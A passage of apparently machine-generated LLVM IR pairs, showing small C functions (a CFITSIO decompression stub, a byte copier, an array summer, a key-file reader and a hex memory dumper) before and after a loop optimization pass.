!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpw6yctm4q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [66 x i8] c"This non-GNU version of CFITSIO does not support compressed files\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @uncompress2mem(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4, ptr noundef %5, ptr noundef %6) #0 {
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
%11 = alloca ptr, align 8
%12 = alloca ptr, align 8
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca ptr, align 8
store ptr %0, ptr %9, align 8
store ptr %1, ptr %10, align 8
store ptr %2, ptr %11, align 8
store ptr %3, ptr %12, align 8
store ptr %4, ptr %13, align 8
store ptr %5, ptr %14, align 8
store ptr %6, ptr %15, align 8
%16 = load ptr, ptr %15, align 8
%17 = load i32, ptr %16, align 4
%18 = icmp sgt i32 %17, 0
br i1 %18, label %19, label %22
19: ; preds = %7
%20 = load ptr, ptr %15, align 8
%21 = load i32, ptr %20, align 4
store i32 %21, ptr %8, align 4
br label %25
22: ; preds = %7
%23 = call i32 @ffpmsg(ptr noundef @.str)
%24 = load ptr, ptr %15, align 8
store i32 414, ptr %24, align 4
store i32 414, ptr %8, align 4
br label %25
25: ; preds = %22, %19
%26 = load i32, ptr %8, align 4
ret i32 %26
}
declare i32 @ffpmsg(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplm5ebi29.c'
source_filename = "/tmp/tmplm5ebi29.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @copybytes(ptr noundef %0, i64 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store i64 %1, ptr %4, align 8
%6 = load i64, ptr %4, align 8
%7 = call ptr @getbytes(i64 noundef %6)
store ptr %7, ptr %5, align 8
%8 = load i64, ptr %4, align 8
%9 = icmp ne i64 %8, 0
br i1 %9, label %10, label %15
10: ; preds = %2
%11 = load ptr, ptr %5, align 8
%12 = load ptr, ptr %3, align 8
%13 = load i64, ptr %4, align 8
%14 = call i32 @memcpy(ptr noundef %11, ptr noundef %12, i64 noundef %13)
br label %15
15: ; preds = %10, %2
%16 = load ptr, ptr %5, align 8
ret ptr %16
}
declare ptr @getbytes(i64 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplm5ebi29.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @copybytes(ptr noundef %0, i64 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store i64 %1, ptr %4, align 8
%6 = load i64, ptr %4, align 8
%7 = call ptr @getbytes(i64 noundef %6)
store ptr %7, ptr %5, align 8
%8 = load i64, ptr %4, align 8
%9 = icmp ne i64 %8, 0
br i1 %9, label %10, label %15
10: ; preds = %2
%11 = load ptr, ptr %5, align 8
%12 = load ptr, ptr %3, align 8
%13 = load i64, ptr %4, align 8
%14 = call i32 @memcpy(ptr noundef %11, ptr noundef %12, i64 noundef %13)
br label %15
15: ; preds = %10, %2
%16 = load ptr, ptr %5, align 8
ret ptr %16
}
declare ptr @getbytes(i64 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3xmgx13f.c'
source_filename = "/tmp/tmp3xmgx13f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [26 x i8] c"\0AEnter number of elements\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [30 x i8] c"\0AThe sum of elements is : %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%7 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %3)
%8 = load i32, ptr %3, align 4
%9 = sext i32 %8 to i64
%10 = mul i64 %9, 4
%11 = trunc i64 %10 to i32
%12 = call i64 @malloc(i32 noundef %11)
%13 = inttoptr i64 %12 to ptr
store ptr %13, ptr %2, align 8
store i32 0, ptr %4, align 4
br label %14
14: ; preds = %24, %0
%15 = load i32, ptr %4, align 4
%16 = load i32, ptr %3, align 4
%17 = icmp slt i32 %15, %16
br i1 %17, label %18, label %27
18: ; preds = %14
%19 = load ptr, ptr %2, align 8
%20 = load i32, ptr %4, align 4
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds i32, ptr %19, i64 %21
%23 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %22)
br label %24
24: ; preds = %18
%25 = load i32, ptr %4, align 4
%26 = add nsw i32 %25, 1
store i32 %26, ptr %4, align 4
br label %14, !llvm.loop !6
27: ; preds = %14
store i32 0, ptr %4, align 4
br label %28
28: ; preds = %40, %27
%29 = load i32, ptr %4, align 4
%30 = load i32, ptr %3, align 4
%31 = icmp slt i32 %29, %30
br i1 %31, label %32, label %43
32: ; preds = %28
%33 = load ptr, ptr %2, align 8
%34 = load i32, ptr %4, align 4
%35 = sext i32 %34 to i64
%36 = getelementptr inbounds i32, ptr %33, i64 %35
%37 = load i32, ptr %36, align 4
%38 = load i32, ptr %5, align 4
%39 = add nsw i32 %38, %37
store i32 %39, ptr %5, align 4
br label %40
40: ; preds = %32
%41 = load i32, ptr %4, align 4
%42 = add nsw i32 %41, 1
store i32 %42, ptr %4, align 4
br label %28, !llvm.loop !8
43: ; preds = %28
%44 = load i32, ptr %5, align 4
%45 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %44)
%46 = load ptr, ptr %2, align 8
%47 = call i32 @free(ptr noundef %46)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i64 @malloc(i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3xmgx13f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [26 x i8] c"\0AEnter number of elements\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [30 x i8] c"\0AThe sum of elements is : %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%7 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %3)
%8 = load i32, ptr %3, align 4
%9 = sext i32 %8 to i64
%10 = mul i64 %9, 4
%11 = trunc i64 %10 to i32
%12 = call i64 @malloc(i32 noundef %11)
%13 = inttoptr i64 %12 to ptr
store ptr %13, ptr %2, align 8
store i32 0, ptr %4, align 4
%14 = load i32, ptr %4, align 4
%15 = load i32, ptr %3, align 4
%16 = icmp slt i32 %14, %15
br i1 %16, label %.lr.ph, label %29
.lr.ph: ; preds = %0
br label %17
17: ; preds = %.lr.ph, %23
%18 = load ptr, ptr %2, align 8
%19 = load i32, ptr %4, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds i32, ptr %18, i64 %20
%22 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %21)
br label %23
23: ; preds = %17
%24 = load i32, ptr %4, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %4, align 4
%26 = load i32, ptr %4, align 4
%27 = load i32, ptr %3, align 4
%28 = icmp slt i32 %26, %27
br i1 %28, label %17, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %23
br label %29
29: ; preds = %._crit_edge, %0
store i32 0, ptr %4, align 4
%30 = load i32, ptr %4, align 4
%31 = load i32, ptr %3, align 4
%32 = icmp slt i32 %30, %31
br i1 %32, label %.lr.ph2, label %47
.lr.ph2: ; preds = %29
br label %33
33: ; preds = %.lr.ph2, %41
%34 = load ptr, ptr %2, align 8
%35 = load i32, ptr %4, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds i32, ptr %34, i64 %36
%38 = load i32, ptr %37, align 4
%39 = load i32, ptr %5, align 4
%40 = add nsw i32 %39, %38
store i32 %40, ptr %5, align 4
br label %41
41: ; preds = %33
%42 = load i32, ptr %4, align 4
%43 = add nsw i32 %42, 1
store i32 %43, ptr %4, align 4
%44 = load i32, ptr %4, align 4
%45 = load i32, ptr %3, align 4
%46 = icmp slt i32 %44, %45
br i1 %46, label %33, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %41
br label %47
47: ; preds = %._crit_edge3, %29
%48 = load i32, ptr %5, align 4
%49 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %48)
%50 = load ptr, ptr %2, align 8
%51 = call i32 @free(ptr noundef %50)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i64 @malloc(i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmp87fxt7n_.c'
source_filename = "/tmp/tmp87fxt7n_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c"r\00", align 1
@SEEK_END = dso_local global i32 0, align 4
@SEEK_SET = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@EOF = dso_local global i64 0, align 8
@.str.2 = private unnamed_addr constant [41 x i8] c"It was not possible to open the key file\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @get_key(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i8, align 1
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%9 = load ptr, ptr %3, align 8
%10 = call ptr @fopen(ptr noundef %9, ptr noundef @.str)
store ptr %10, ptr %5, align 8
%11 = load ptr, ptr %5, align 8
%12 = icmp ne ptr %11, null
br i1 %12, label %13, label %47
13: ; preds = %2
%14 = load ptr, ptr %5, align 8
%15 = load i32, ptr @SEEK_END, align 4
%16 = call i32 @fseek(ptr noundef %14, i32 noundef 0, i32 noundef %15)
%17 = load ptr, ptr %5, align 8
%18 = call i32 @ftell(ptr noundef %17)
store i32 %18, ptr %7, align 4
%19 = load ptr, ptr %5, align 8
%20 = load i32, ptr @SEEK_SET, align 4
%21 = call i32 @fseek(ptr noundef %19, i32 noundef 0, i32 noundef %20)
%22 = load i32, ptr %7, align 4
%23 = sext i32 %22 to i64
%24 = mul i64 4, %23
%25 = trunc i64 %24 to i32
%26 = call ptr @malloc(i32 noundef %25)
store ptr %26, ptr %6, align 8
br label %27
27: ; preds = %32, %13
%28 = load ptr, ptr %5, align 8
%29 = call i64 @fscanf(ptr noundef %28, ptr noundef @.str.1, ptr noundef %8)
%30 = load i64, ptr @EOF, align 8
%31 = icmp ne i64 %29, %30
br i1 %31, label %32, label %44
32: ; preds = %27
%33 = load i8, ptr %8, align 1
%34 = sext i8 %33 to i32
%35 = sub nsw i32 %34, 48
%36 = load ptr, ptr %6, align 8
%37 = load ptr, ptr %4, align 8
%38 = load i32, ptr %37, align 4
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i32, ptr %36, i64 %39
store i32 %35, ptr %40, align 4
%41 = load ptr, ptr %4, align 8
%42 = load i32, ptr %41, align 4
%43 = add nsw i32 %42, 1
store i32 %43, ptr %41, align 4
br label %27, !llvm.loop !6
44: ; preds = %27
%45 = load ptr, ptr %5, align 8
%46 = call i32 @fclose(ptr noundef %45)
br label %49
47: ; preds = %2
%48 = call i32 @errx(i32 noundef -1, ptr noundef @.str.2)
br label %49
49: ; preds = %47, %44
%50 = load ptr, ptr %6, align 8
ret ptr %50
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fseek(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @ftell(ptr noundef) #1
declare ptr @malloc(i32 noundef) #1
declare i64 @fscanf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
declare i32 @errx(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp87fxt7n_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c"r\00", align 1
@SEEK_END = dso_local global i32 0, align 4
@SEEK_SET = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@EOF = dso_local global i64 0, align 8
@.str.2 = private unnamed_addr constant [41 x i8] c"It was not possible to open the key file\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @get_key(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i8, align 1
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%9 = load ptr, ptr %3, align 8
%10 = call ptr @fopen(ptr noundef %9, ptr noundef @.str)
store ptr %10, ptr %5, align 8
%11 = load ptr, ptr %5, align 8
%12 = icmp ne ptr %11, null
br i1 %12, label %13, label %50
13: ; preds = %2
%14 = load ptr, ptr %5, align 8
%15 = load i32, ptr @SEEK_END, align 4
%16 = call i32 @fseek(ptr noundef %14, i32 noundef 0, i32 noundef %15)
%17 = load ptr, ptr %5, align 8
%18 = call i32 @ftell(ptr noundef %17)
store i32 %18, ptr %7, align 4
%19 = load ptr, ptr %5, align 8
%20 = load i32, ptr @SEEK_SET, align 4
%21 = call i32 @fseek(ptr noundef %19, i32 noundef 0, i32 noundef %20)
%22 = load i32, ptr %7, align 4
%23 = sext i32 %22 to i64
%24 = mul i64 4, %23
%25 = trunc i64 %24 to i32
%26 = call ptr @malloc(i32 noundef %25)
store ptr %26, ptr %6, align 8
%27 = load ptr, ptr %5, align 8
%28 = call i64 @fscanf(ptr noundef %27, ptr noundef @.str.1, ptr noundef %8)
%29 = load i64, ptr @EOF, align 8
%30 = icmp ne i64 %28, %29
br i1 %30, label %.lr.ph, label %47
.lr.ph: ; preds = %13
br label %31
31: ; preds = %.lr.ph, %31
%32 = load i8, ptr %8, align 1
%33 = sext i8 %32 to i32
%34 = sub nsw i32 %33, 48
%35 = load ptr, ptr %6, align 8
%36 = load ptr, ptr %4, align 8
%37 = load i32, ptr %36, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i32, ptr %35, i64 %38
store i32 %34, ptr %39, align 4
%40 = load ptr, ptr %4, align 8
%41 = load i32, ptr %40, align 4
%42 = add nsw i32 %41, 1
store i32 %42, ptr %40, align 4
%43 = load ptr, ptr %5, align 8
%44 = call i64 @fscanf(ptr noundef %43, ptr noundef @.str.1, ptr noundef %8)
%45 = load i64, ptr @EOF, align 8
%46 = icmp ne i64 %44, %45
br i1 %46, label %31, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %31
br label %47
47: ; preds = %._crit_edge, %13
%48 = load ptr, ptr %5, align 8
%49 = call i32 @fclose(ptr noundef %48)
br label %52
50: ; preds = %2
%51 = call i32 @errx(i32 noundef -1, ptr noundef @.str.2)
br label %52
52: ; preds = %50, %47
%53 = load ptr, ptr %6, align 8
ret ptr %53
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fseek(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @ftell(ptr noundef) #1
declare ptr @malloc(i32 noundef) #1
declare i64 @fscanf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
declare i32 @errx(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpnpxcu54t.c'
source_filename = "/tmp/tmpnpxcu54t.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpnpxcu54t.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpe4u44o8i.c'
source_filename = "/tmp/tmpe4u44o8i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%p \00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%2x\00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c" \00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c"\09\00", align 1
@.str.4 = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.5 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_mem(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%9 = load ptr, ptr %3, align 8
store ptr %9, ptr %5, align 8
br label %10
10: ; preds = %90, %2
%11 = load ptr, ptr %5, align 8
%12 = load ptr, ptr %4, align 8
%13 = icmp ult ptr %11, %12
br i1 %13, label %14, label %96
14: ; preds = %10
%15 = load ptr, ptr %4, align 8
%16 = load ptr, ptr %5, align 8
%17 = ptrtoint ptr %15 to i64
%18 = ptrtoint ptr %16 to i64
%19 = sub i64 %17, %18
%20 = icmp sgt i64 %19, 32
br i1 %20, label %21, label %22
21: ; preds = %14
br label %28
22: ; preds = %14
%23 = load ptr, ptr %4, align 8
%24 = load ptr, ptr %5, align 8
%25 = ptrtoint ptr %23 to i64
%26 = ptrtoint ptr %24 to i64
%27 = sub i64 %25, %26
br label %28
28: ; preds = %22, %21
%29 = phi i64 [ 32, %21 ], [ %27, %22 ]
%30 = trunc i64 %29 to i32
store i32 %30, ptr %6, align 4
%31 = load ptr, ptr %5, align 8
%32 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %31)
store i32 0, ptr %7, align 4
br label %33
33: ; preds = %51, %28
%34 = load i32, ptr %7, align 4
%35 = load i32, ptr %6, align 4
%36 = icmp slt i32 %34, %35
br i1 %36, label %37, label %54
37: ; preds = %33
%38 = load ptr, ptr %5, align 8
%39 = load i32, ptr %7, align 4
%40 = sext i32 %39 to i64
%41 = getelementptr inbounds i8, ptr %38, i64 %40
%42 = load i8, ptr %41, align 1
%43 = sext i8 %42 to i32
%44 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %43)
%45 = load i32, ptr %7, align 4
%46 = srem i32 %45, 8
%47 = icmp eq i32 %46, 7
br i1 %47, label %48, label %50
48: ; preds = %37
%49 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %50
50: ; preds = %48, %37
br label %51
51: ; preds = %50
%52 = load i32, ptr %7, align 4
%53 = add nsw i32 %52, 1
store i32 %53, ptr %7, align 4
br label %33, !llvm.loop !6
54: ; preds = %33
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
store i32 0, ptr %8, align 4
br label %56
56: ; preds = %87, %54
%57 = load i32, ptr %8, align 4
%58 = load i32, ptr %6, align 4
%59 = icmp slt i32 %57, %58
br i1 %59, label %60, label %90
60: ; preds = %56
%61 = load ptr, ptr %5, align 8
%62 = load i32, ptr %8, align 4
%63 = sext i32 %62 to i64
%64 = getelementptr inbounds i8, ptr %61, i64 %63
%65 = load i8, ptr %64, align 1
%66 = sext i8 %65 to i32
%67 = icmp sgt i32 %66, 32
br i1 %67, label %68, label %83
68: ; preds = %60
%69 = load ptr, ptr %5, align 8
%70 = load i32, ptr %8, align 4
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds i8, ptr %69, i64 %71
%73 = load i8, ptr %72, align 1
%74 = sext i8 %73 to i32
%75 = icmp slt i32 %74, 126
br i1 %75, label %76, label %83
76: ; preds = %68
%77 = load ptr, ptr %5, align 8
%78 = load i32, ptr %8, align 4
%79 = sext i32 %78 to i64
%80 = getelementptr inbounds i8, ptr %77, i64 %79
%81 = load i8, ptr %80, align 1
%82 = sext i8 %81 to i32
br label %84
83: ; preds = %68, %60
br label %84
84: ; preds = %83, %76
%85 = phi i32 [ %82, %76 ], [ 46, %83 ]
%86 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %85)
br label %87
87: ; preds = %84
%88 = load i32, ptr %8, align 4
%89 = add nsw i32 %88, 1
